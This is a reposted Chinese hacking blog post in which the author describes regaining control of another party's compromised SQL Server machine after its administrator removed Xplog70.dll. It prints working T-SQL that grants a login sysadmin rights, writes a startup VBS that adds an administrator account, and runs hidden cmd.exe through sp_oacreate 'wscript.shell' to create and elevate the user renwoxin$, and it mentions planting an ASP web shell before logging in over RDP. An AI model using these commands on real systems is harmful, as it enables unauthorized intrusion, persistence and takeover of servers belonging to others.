绕过Xplog70.dll玩入侵 转载自:http://www.hookbase.com/design/HTML/15567.html

深夜了,好友“如影随行”突然发来消息,说他一台配置非常好的3389肉鸡飞 了。以前他是从WEB页面注入入手,然后直接用Xp_cmdshell添加系统用户搞定的,可晚上用3389登陆时突然发现添加的用户不在了,安装的后门 都被清理干净,连Xp_cmdshell也执行不了。朋友叫我帮忙看看,这样和管理员的直接攻防较量我还没尝试过,所以也就答应了!  

    因为是数据库是 SA权限连接的,我首先想到的是利用下面的命令: exec master.dbo.sp_addlogin renwoxin 我的目的是添加数据库用户“renwoxin”,然后将将其加入“Sysadmin”组: Exec master.dbo.sp_addsrvrole

member renwoxin,sysadmin 然后就可以用祭出我们的“屠库宝刀”——SQL查询分析器了。开始我还抱着一丝侥幸,希望可以通过: sp_addextendedproc

     Xp_cmdshell,@dllname='Xplog70.dll' 添加Xp_cmdshell扩展过程。可惜SQL输出如下:数据库中已存在名为Xp_cmdshell 的对象。为了确认Xp_cmdshell是否被删除我提交如下语句: select count(*) from master.dbo.sysobjects where xtype='X' and name=Xp_cmdshell 返回1,看来并未删除Xp_cmdshell对象,那问题应该是出在Xplog70.dll这个文件了,也许被改名或者删除了。我决定用臭要饭的写的 GetWebShell来写入ASP木马。工具使用很简单,以往的黑防也有介绍过。我使用后一会儿就提示写入成功了,但等我高高兴兴的去访问这个路径时, 却提示“找不到网页”,郁闷!  百思不得其解,拿出NBSI2,利用Tree list工具列出WEB路径下的文件,发现上传的木马“安详”地躺在那儿,可为什么不能访问呢(我现在都还不知道答案,哪位高人知道希望能指点一下),而 且错误提示居然是“找不到文件”?!我打算放弃了,可这么好的肉鸡就这么飞了,实在心有不甘!到百度一通狂搜,终于找到一篇文章,文中提出了一种方法,用 SQL查询分析器写入如下指令: Declare @o int, @f int, @t int, @ret int ,@a int exec sp_oacreate ’scripting.filesystemobject’, @o out ——这两行代码是建立SQL的文本对象 exec sp_oamethod @o, ’createtextfile’, @f out,’c:/docume~1/alluse~1/「开始」菜单/程序/启动/a.vbs’, 1 --在启动菜单里写入a.vbs,当然这里只支持中文 exec @ret = sp_oamethod @f, ’writeline’, NUL

L,’set wshshell=createobject("wscript.shell")’ ——单引号里的都是a.vbs的内容,要一行一行的写,下同。 exec @ret = sp_oamethod @f, ’writeline’, NULL,’a=wshshell.run ("cmd.exe /c net user user1 123 /add"

,0)’ exec @ret = sp_oamethod @f, ’writeline’, NULL,’b=wshshell.run ("cmd.exe /c net localgroup adm

inistrators user1 /add",0)’ --a.vbs内容结束按照作者的说法,执行查循后会在服务器的启动程序里写入一个a.vbs脚本。等服务器重启就可以添加一个user1密码为123的 用户。可是要等服务器重启,要到哪一天啊?! 对着这段代码是我是上看、下看、左看、右看,你还别说真看出点什么了。这个脚本用Sp_oamethod来调用OLE对象的Writeline方法,突然 灵光一闪,我能不能用Sp_oamethod来执行CMD命令呢?赶紧找出“SQL Server联机丛书”,其中对Sp_OAMethod描述如下: sp_OAMethod 调用 OLE 对象的方法。语法 sp_OAMethod obj

ecttoken, ????methodname ????[, returnvalue OUTPUT] ????[ , [ @parametername = ] parameter [ OUTPUT ] ????[...n]] 参数 objecttoken 是先前用 sp_OACreate 创建的 OLE 对象令牌。 methodname 是要调用的 OLE 对象的方法名。用WScript.Shell对象的Run方法来运行Cm

d.exe不就可以执行Cmd命令了吗?于是构造如下语句: DECLARE @cmd INT EXEC sp_oacreate 'wscript.shell',@cmd output

EXEC sp_oamethod @cmd,'run',null,'cmd.exe /c net user renwoxin$Content$nbsp;test /add&a

pos;,'0','true' 小提示:上面语句的详细解释是:用Sp_OACreate创建OLE 对象Wscript.Shell的令牌。用Sp_oamethod调用Wscript.Shell的Run方法来执行CMD语句,添加用户 renwoxin$,密码为test。“0”和“true”是RUN方法的参数:“0”可选。表示程序窗口外观的整数值,表示语句执行时隐藏CMD窗口, 如果不加的话,在服务器上会有一个DOS窗口闪一下,容易暴露;“true”可选。布尔值,表示在继续执行脚本中的下一条语句之前,脚本是否等待执行完程 序。如果设为True,则在执行完程序后才执行脚本,RUN方法返回由程序返回的任何错误代码。如果设为False(默认值),则RUN方法将自动在启动 程序后立即返回0(不是错误代码)。   上面的代码执行后,SQL查询分析器返回一个0值,这表示执行成功了,再将renwoxin$提升为管理员: DECLARE @cmd INT EXEC sp_oacreate 'wscript.shell',@cmd o

utput EXEC sp_oamethod @cmd,'run',null,'cmd.exe /c net localgroup administrators renwoxi

n$Content$nbsp;/add','0','true' 这次又返回一个0值,还等什么,赶快从3389连过去看看,顺利进入!大家肯定会想到这个RUN可以执行几乎所有的CMD命令,只是如果你要看到结果,就 需要自己构造表来存储了,大家可以发挥自己的想象力了!找到SQL安装目录下的Binn文件夹,发现其中的Xplog70.dll果然被删除了。再检查一 下,用GetWebShell提交的ASP木马,内容居然是乱码!反正是不能执行,到现在我还是想不通是为什么,希望大侠们能著文传授。到此文章也该结束 了,希望能尽快看到大侠们的文章。谢谢观赏!

 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值